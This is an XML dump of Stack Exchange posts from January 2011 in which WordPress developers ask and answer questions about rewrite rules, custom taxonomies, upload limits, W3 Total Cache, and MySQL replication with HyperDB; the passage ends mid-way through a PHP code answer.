  <row Id="7103" PostTypeId="2" ParentId="7102" CreationDate="2011-01-17T10:27:25.203" Score="1" ViewCount="" Body="&lt;p&gt;You can see the approach I use myself in my answer &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5955/category-listing-with-thumbnail-and-description-on-home-page/6817#6817&quot;&gt;to this question&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're on the right track though. Until we have a taxonomy meta table then the options table is the tidiest solution. You could always create a taxonomy meta table yourself with the plugin though and make some get/set functions to go with it.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-17T10:27:25.203" CommentCount="2" />
  <row Id="7104" PostTypeId="2" ParentId="1146" CreationDate="2011-01-17T10:37:23.803" Score="0" ViewCount="" Body="&lt;p&gt;Having a similar problem on Pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They show at the backend fine but online is just a white page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have determined this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling all the plugins didn't affect the problem&#xA;Changing to the default theme didn't affect the problem&#xA;Increasing php.ini memory to 128M had no affect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical case is a page with 3 col x 9 rows. This displays as a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I delete a group of the three rows the page displays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a nother site we have a small amount of text with 2 images set right at 400px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below the text is a 3 col x 4 rows each containing a small 180px 72dpi image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 12 images in the table the page dies online but still looks fine in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 11 images in the table the page will display.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-17T10:37:23.803" />
  <row Id="7105" PostTypeId="1" AcceptedAnswerId="7115" CreationDate="2011-01-17T10:41:46.723" Score="0" ViewCount="218" Body="&lt;p&gt;I have a plugin that sets up a custom rewrite rule. I can access the short URL and the content is returned correctly, but the HTTP response is &lt;code&gt;404, Page not found&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From searching the web it seems like WordPress is returning 404, because it thinks this is not a valid WP page (http://wordpress.org/support/topic/404-on-custom-non-wordpress-pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a recommended solution to this problem? How can I get WP to return a normal status code for  a rewritten URL?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_rewrite;&#xA;add_rewrite_rule('list-data$', &#xA;                 '/wp-content/plugins/data-lister/list-data.php', 'top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Mark &lt;/p&gt;&#xA;" LastActivityDate="2011-01-17T15:25:50.853" Title="Custom rewrite rule serves content, but returns 404 error code" Tags="&lt;plugin-development&gt;&lt;404-error&gt;&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="7106" PostTypeId="2" ParentId="7082" CreationDate="2011-01-17T11:43:31.740" Score="0" ViewCount="" Body="&lt;p&gt;My answer to this would be 'no'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A website can be viewed from many different devices with different resolutions and screen sizes so restricting yourself to a single fixed width won't be as flexible for you as the more fluid 'responsive web design' as it is known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommendation these days is to design your site to be fluid (you can use a fluid CSS grid system such as &lt;a href=&quot;https://github.com/stubbornella/oocss&quot; rel=&quot;nofollow&quot;&gt;Stubbornella's OOCSS&lt;/a&gt;). Using CSS3 media queries which are supported by most smart phones and other mobile devices now you can alter the layout of your site on the fly. The &lt;a href=&quot;http://lessframework.com/&quot; rel=&quot;nofollow&quot;&gt;LESS framework&lt;/a&gt; is a good starting point for responsive design. The site itself is an example - try resizing your browser window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For another good demonstration of a responsive web design visit &lt;a href=&quot;http://informationarchitects.jp/&quot; rel=&quot;nofollow&quot;&gt;http://informationarchitects.jp/&lt;/a&gt; and have a play with resizing your browser window or viewing it on various devices.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-17T11:43:31.740" CommentCount="5" />
  <row Id="7107" PostTypeId="1" AcceptedAnswerId="7114" CreationDate="2011-01-17T11:45:05.937" Score="2" ViewCount="542" Body="&lt;p&gt;I'm planning a site for a client who wants users to be able to filter upcoming events by the following criteria:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Type&lt;/strong&gt; i.e. Comedy, Theatre, Music etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Date&lt;/strong&gt; Daily or Weekend &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Duration&lt;/strong&gt; Daily or Half day&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to delve into Custom posts more, so will set up a Custom Post Type for 'Events' (non-hierarchical) and when creating a new post I'll add Custom Fields for Type, Date and Duration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question I have is how would I use query_posts() to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;List the events so that the soonest (i.e. next event to occur) appears first and later events last?  &lt;/li&gt;&#xA;&lt;li&gt;Filter by &lt;strong&gt;multiple&lt;/strong&gt; meta values (Type, Date and Duration)?  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I presume I need to create a series of options in my form's dropdown lists based on the custom field values right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a list of Events for a client before, but with no filtering possibilities. I used this query_posts() code to get the custom posts and order things:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// List the events by custom field 'Date':&#xA;$todaysDate = date('Y/m/d'); // set todays date to check against custom field&#xA;&#xA;// query posts&#xA;query_posts('post_type=Event&amp;amp;meta_key=Date&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value=' . $todaysDate . '&amp;amp;orderby=meta_value&amp;amp;order=ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I can't see how I might change this code to filter by multiple custom fields...any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-01-17T14:35:06.463" Title="How to filter custom posts by tags and custom fields?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;query-posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7109" PostTypeId="2" ParentId="5340" CreationDate="2011-01-17T12:02:35.097" Score="0" ViewCount="" Body="&lt;p&gt;I'd look into Pods CMS and Pods UI to create real database tables that represent your data. With custom post types and a lot of plugins the site won't scale very well. Although, if it's just a quick project that might be the way to go just to move forward and get something going.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://podscms.org/&quot; rel=&quot;nofollow&quot;&gt;Pods CMS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Pods CMS is the greatest thing since sliced bread, or dare I say... fire.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-17T12:02:35.097" />
  <row Id="7110" PostTypeId="1" AcceptedAnswerId="7117" CreationDate="2011-01-17T12:31:35.580" Score="0" ViewCount="118" Body="&lt;p&gt;In wp-admin when I enter widgets I see their bars, but the titles of widgets are missing. only :Something remain visible and the others are gone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened? How do I fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found it in wp-admin/includes/widgets.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;line that was &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;widget-title&quot;&amp;gt;&amp;lt;h4&amp;gt;&amp;lt;?php $widget_title ?&amp;gt;&amp;lt;span class=&quot;in-widget-title&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;widget-title&quot;&amp;gt;&amp;lt;h4&amp;gt;&amp;lt;?php echo $widget_title ?&amp;gt;&amp;lt;span class=&quot;in-widget-title&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a wordpress bug or somebody on my team had to edit this? [noone takes the blame ;)]&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="255" LastEditorDisplayName="" LastEditDate="2011-01-17T12:56:17.363" LastActivityDate="2011-01-17T16:15:28.133" Title="Wp-admin widgets have no title texts" Tags="&lt;wp-admin&gt;&lt;widgets&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7111" PostTypeId="1" AcceptedAnswerId="7167" CreationDate="2011-01-17T13:01:32.457" Score="1" ViewCount="667" Body="&lt;p&gt;I'm trying to uplaod video files,my upload file size limit is 96mb,and I can upload videos until 10mb size,but I want to uplaod videos that have 20mb size.If I try to uplaod bigger video I get http error,I found on web a lot of solutions but none of them acctualy help me.Is there any other solution how to fix http uplaod error and uplaod bigger files on my wordpress site?&#xA;I have tried every thing from there links :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/http-error-on-image-upload-still&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/http-error-on-image-upload-still&lt;/a&gt;&#xA;http://wordpress.org/support/topic/flash-uploader-logs-out-during-crunching-phase&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/http-error-image-upload&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/http-error-image-upload&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have idea why is this happening ?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T14:50:07.907" LastActivityDate="2011-05-12T07:11:53.090" Title="wordpress upload http error?" Tags="&lt;admin&gt;&lt;uploads&gt;&lt;memory&gt;" AnswerCount="6" CommentCount="6" />
  <row Id="7112" PostTypeId="1" CreationDate="2011-01-17T13:20:04.447" Score="1" ViewCount="535" Body="&lt;p&gt;I am building a Digg like website in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing W3 Total Cache, I noticed certain elements such as number of votes (and voters ids) per post are cached even though they shouldn't be (at least not after a user votes for an article).&#xA;I assume it is not possible to prevent specific elements in a page from being cached (or is it?), so I thought of triggering page cache refresh programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1567" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:36:15.993" LastActivityDate="2011-01-31T09:36:15.993" Title="W3 total cache - cache refresh programmatically" Tags="&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="2" />
  <row Id="7113" PostTypeId="2" ParentId="7112" CreationDate="2011-01-17T14:06:28.247" Score="1" ViewCount="" Body="&lt;p&gt;W3 Total Cache supports fragment caching. From FAQ:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;How do I implement fragment caching? &#xA;&#xA;Edit your templates to with the following syntax to ensure that dynamic features remain so:&#xA;&#xA;Example 1:&#xA;&amp;lt;!-- mfunc any PHP code --&amp;gt;&amp;lt;!-- /mfunc --&amp;gt;&#xA;&#xA;Example 2:&#xA;&amp;lt;!-- mfunc --&amp;gt;any PHP code&amp;lt;!-- /mfunc --&amp;gt;&#xA;&#xA;Example 3:&#xA;&amp;lt;!--MFUNC           --&amp;gt;&#xA;                                      echo rand();&#xA;&amp;lt;!--/mfunc --&amp;gt;&#xA;&#xA;Example 4:&#xA;&amp;lt;!-- mclude path/to/file.php --&amp;gt;&amp;lt;!-- /mclude --&amp;gt;&#xA;&#xA;Example 5:&#xA;&amp;lt;!-- mclude --&amp;gt;path/to/file.php&amp;lt;!-- /mclude --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-17T14:06:28.247" CommentCount="5" />
  <row Id="7114" PostTypeId="2" ParentId="7107" CreationDate="2011-01-17T14:35:06.463" Score="3" ViewCount="" Body="&lt;p&gt;you can use custom taxonomies and make you query_posts much easier!&#xA;by that i mean create a custom taxonomy for type,duration like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','register_event_tax');&#xA;&#xA;function register_event_tax(){&#xA;register_taxonomy('even_type',array('events'), array(&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'labels' =&amp;gt; 'type',&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'type' ),&#xA;  ));&#xA;&#xA;register_taxonomy('even_duration',array('events'), array(&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'labels' =&amp;gt; 'type',&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'duration' ),&#xA;  ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you can query posts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=Event&amp;amp;duration=DAILY&amp;amp;type=COMEDY&amp;amp;meta_key=Date&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value=' . $todaysDate . '&amp;amp;orderby=meta_value&amp;amp;order=ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can change the duration and type to filter what ever type or duration you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-17T14:35:06.463" CommentCount="4" />
  <row Id="7115" PostTypeId="2" ParentId="7105" CreationDate="2011-01-17T15:25:50.853" Score="2" ViewCount="" Body="&lt;p&gt;This has been an issue in core for a while, &lt;a href=&quot;http://core.trac.wordpress.org/ticket/10722&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/10722&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest solution is to just overwrite the headers on 'template_redirect'.  You can replace them as long as you haven't started any output yet, which you shouldn't have at this point.  Just call status_header( 200 );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No cache headers are also sent when the WP Class sends the 404 headers, so you'll probably want to replace those with information based on the content you're pulling from that PHP page.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-01-17T15:25:50.853" />
  <row Id="7116" PostTypeId="2" ParentId="7099" CreationDate="2011-01-17T16:08:51.373" Score="6" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Plugins:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/question-and-answer-forum/&quot; rel=&quot;nofollow&quot;&gt;Question and Answer Forum Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-answers/&quot; rel=&quot;nofollow&quot;&gt;WP-Answers Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Themes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.elegantthemes.com/gallery/askit/&quot; rel=&quot;nofollow&quot;&gt;AskIt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://themeforest.net/item/instant-qa/92361&quot; rel=&quot;nofollow&quot;&gt;Instant Q&amp;amp;A&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="765" LastActivityDate="2011-01-17T16:08:51.373" CommentCount="2" />
  <row Id="7117" PostTypeId="2" ParentId="7110" CreationDate="2011-01-17T16:15:28.133" Score="1" ViewCount="" Body="&lt;p&gt;Just to make sure, I took a look in the actual source code of the WordPress repository.  The line in question is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;widget-title&quot;&amp;gt;&amp;lt;h4&amp;gt;&amp;lt;?php echo $widget_title ?&amp;gt;&amp;lt;span class=&quot;in-widget-title&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also went through and checked previous changesets to see if we ever accidentally released broken code.  If you want to look at the revision log yourself, it's &lt;a href=&quot;http://core.trac.wordpress.org/log/trunk/wp-admin/widgets.php&quot; rel=&quot;nofollow&quot;&gt;freely available on Trac&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the long story made short is that you weren't seeing a WordPress bug.  Someone on your team would have had to explicitly made that change ... even if they weren't willing to take the blame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the more reason you should be keeping everything under source control.  Then you'd know exactly who made the change, when, and possibly have some idea as to why.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-17T16:15:28.133" CommentCount="1" />
  <row Id="7118" PostTypeId="2" ParentId="6664" CreationDate="2011-01-17T16:42:23.193" Score="1" ViewCount="" Body="&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bp_auto_accept_friend_request( $friendship_id, $friendship_initiator_id, $friendship_friend_id ) {&#xA;        $friendship_status = BP_Friends_Friendship::check_is_friend( $friendship_initiator_id, $friendship_friend_id );&#xA;        if ( 'not_friends' == $friendship_status ) {&#xA;            if ( is_user_expert( $friendship_friend_id ) ) {&#xA;            // force add&#xA;            friends_add_friend( $friendship_initiator_id, $friendship_friend_id, true );&#xA;            friends_accept_friendship( $friendship_id );&#xA;        }&#xA;        }&#xA;    }&#xA;    add_action('friends_friendship_requested', 'bp_auto_accept_friend_request', 200, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way we only call friends_add_friend function with $force = true if they are not friends yet.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-18T17:18:45.357" LastActivityDate="2011-01-18T17:18:45.357" CommentCount="5" />
  <row Id="7119" PostTypeId="2" ParentId="7111" CreationDate="2011-01-17T16:45:01.057" Score="0" ViewCount="" Body="&lt;p&gt;Increase the WordPress upload limit: &lt;a href=&quot;http://wordpress.org/support/topic/how-to-increase-the-max-upload-size&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/how-to-increase-the-max-upload-size&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-17T16:45:01.057" CommentCount="1" />
  <row Id="7120" PostTypeId="2" ParentId="7111" CreationDate="2011-01-17T16:46:30.473" Score="0" ViewCount="" Body="&lt;p&gt;It would be helpful to know what error message you're getting in the server logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, take a look at this thread: &lt;a href=&quot;http://wordpress.org/support/topic/how-to-increase-the-max-upload-size&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/how-to-increase-the-max-upload-size&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your php.ini, add or edit the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;upload_max_filesize = 120MB&#xA;post_max_size = 120MB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you may need to add this to your wp-config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '120MB');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And also change your timeout values in your php.ini&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;max_execution_time&#xA;max_input_time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set these to values that are larger than they are currently set to - and see what happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should check these values are set correctly by checking the information returned by phpinfo()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page seems to be a good source of all the PHP configuration settings for large file uploads: &lt;a href=&quot;http://www.developershome.com/wap/wapUpload/wap_upload.asp?page=php2&quot; rel=&quot;nofollow&quot;&gt;http://www.developershome.com/wap/wapUpload/wap_upload.asp?page=php2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-01-18T10:55:00.450" LastActivityDate="2011-01-18T10:55:00.450" CommentCount="12" />
  <row Id="7121" PostTypeId="1" AcceptedAnswerId="7267" CreationDate="2011-01-17T16:51:15.693" Score="0" ViewCount="260" Body="&lt;p&gt;Now that wp-supercache has some built in support for CDNs, I've tried using the CDN Sync Tool to do an initial upload of files to Cloudfront.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I'm getting 2 sets of errors when syncing (I'm having to use force upload, as for some reason CDN Sync Tool thinks all my files have been uploaded already).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;cURL error: Failed to open/read local data from file/application (26)&#xA;This error isn't actually preventing the files from being uploaded though&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;[function.fopen]: failed to open stream: Too many open files in /var/www/xxxxx/wp-content/plugins/cdn-sync-tool/lib/awssdk/lib/requestcore/requestcore.class.php&#xA;This error does stop files from being uploaded -&gt; S3.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, the 2nd error occurs after a certain (changeable) number of files have been uploaded, and then affects all remaining uploads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why or what can be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After updating to version 0.9, am now getting the following errors repeatedly (after about 2000 files have been synced)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: fclose(): supplied argument is not a valid stream resource in [filepath]/lib/awssdk/lib/requestcore/requestcore.class.php on line 276&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The stream size for the streaming upload cannot be determined. done &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Syncing [2411/4732] img2343435.jpg&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: fopen(/var/www/xx/wp-content/uploads/2010/12/mg2343435.jpg) [function.fopen]: failed to open stream: &#xA;      No such file or directory in [filepath]/lib/awssdk/lib/requestcore/requestcore.class.php on line 527&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-01-21T09:58:06.470" LastActivityDate="2011-01-21T09:58:06.470" Title="Errors when using CDN Sync Tool plugin" Tags="&lt;plugins&gt;&lt;cdn&gt;&lt;sync&gt;" AnswerCount="1" />
  <row Id="7122" PostTypeId="2" ParentId="7112" CreationDate="2011-01-17T17:23:06.620" Score="1" ViewCount="" Body="&lt;p&gt;if you want to flush the cache you can do that:&#xA;the plugin has functions for that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;flush_pgcache()  //page cache&#xA;flush_dbcache()  // database cache&#xA;flush_minify()  // minify cache&#xA;flush_all() //all caches&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you just need to call  it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA; $w3_plugin_totalcache-&amp;gt;flush_all();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that is basically the answer to the question in the title &#xA;&quot;cache refresh programmatically&quot;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-17T17:23:06.620" CommentCount="2" />
  <row Id="7123" PostTypeId="1" CreationDate="2011-01-17T17:44:35.680" Score="4" ViewCount="245" Body="&lt;p&gt;I have an environment running WP 3.0.1 with a Master db and two slaves. I am using HyperDB to force all writes to go to the Master, and all reads to read from the two slaves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am experiencing a variety of issues in wp-admin pages where data is being written to the master, and WordPress attempts to read from a slave, and the data has not reached the slave yet. An example of this is when I hook '&lt;strong&gt;dbx_post_advanced&lt;/strong&gt;' to preset some category and custom taxonomy terms on new posts. I have verified that when I configure HyperDB to read and write from the Master alone, the '&lt;strong&gt;dbx_post_advanced&lt;/strong&gt;' hook works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently looking into the following options to resolve this issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dedicate only one web server to all wp-admin traffic&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Configure that server to read and write to/from the Master db only&lt;/li&gt;&#xA;&lt;li&gt;Configure the load balancer to route all /wp-admin url's to that web server&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Configure HyperDB to read/write against the Master only for wp-admin pages&lt;/li&gt;&#xA;&lt;li&gt;Setup MySQL Semisynchronous Replication&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/replication-semisync.html&quot; rel=&quot;nofollow&quot;&gt;http://dev.mysql.com/doc/refman/5.5/en/replication-semisync.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;This solution will most likely not work, however, because semisynchronous replication will only wait until ONE slave has completed its writes, not both slaves in my case&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any advice for this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1427" LastEditorUserId="498" LastEditorDisplayName="" LastEditDate="2011-04-08T19:02:04.417" LastActivityDate="2011-04-08T19:02:04.417" Title="MySQL Replication Latency Issues in wp-admin pages" Tags="&lt;mysql&gt;&lt;hyperdb&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="7124" PostTypeId="2" ParentId="7111" CreationDate="2011-01-17T17:59:04.330" Score="0" ViewCount="" Body="&lt;p&gt;if all fails try adding this lines in your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function push_the_max(){&#xA;@ini_set( 'upload_max_size' , '100M' );&#xA;@ini_set( 'post_max_size', '105M');&#xA;@ini_set( 'max_execution_time', '300' );&#xA;}&#xA;add_action('init','push_the_max');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-17T17:59:04.330" CommentCount="2" />
  <row Id="7125" PostTypeId="2" ParentId="5157" CreationDate="2011-01-17T18:10:19.793" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry i mist it somehow that you stated that you know about &quot;remove_meta_box&quot; function&#xA;anyway i did a little digging and i looked at the Adminimize plugin and saw how it works and basically it adds a css style=&quot;display none;&quot; to that meta box according to the options you set in the options panel using a for each loop to run over all roles so you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_all_user_roles() {&#xA;    global $wp_roles;&#xA;&#xA;    $user_roles = array();&#xA;&#xA;    if ( isset($wp_roles-&amp;gt;roles) &amp;amp;&amp;amp; is_array($wp_roles-&amp;gt;roles) ) {&#xA;        foreach ($wp_roles-&amp;gt;roles as $role =&amp;gt; $data) {&#xA;            array_push($user_roles, $role);&#xA;            //$data contains caps, maybe for later use..&#xA;        }&#xA;    }&#xA;&#xA;    return $user_roles;&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;// return string The name of the current role&#xA;function get_current_user_role() {&#xA;    global $wp_roles;&#xA;    $current_user = wp_get_current_user();&#xA;    $roles = $current_user-&amp;gt;roles;&#xA;    $role = array_shift($roles);&#xA;    return isset($wp_roles-&amp;gt;role_names[$role]) ? translate_user_role($wp_roles-&amp;gt;role_names[$role] ) : false;&#xA;}&#xA;&#xA;//hook admin CSS&#xA;add_action('admin_print_styles', 'meta_box_css_hack');&#xA;//the magic happens here&#xA;function meta_box_css_hack(){&#xA;        $user_roles = get_all_user_roles();&#xA;    foreach ($user_roles as $role) {&#xA;        //first we check if its curent user &#xA;      if ($role = get_current_user_role()){&#xA;       /* each role has it own option in the option database witch is an array that holds the name of the meta-boxes div id. */&#xA;        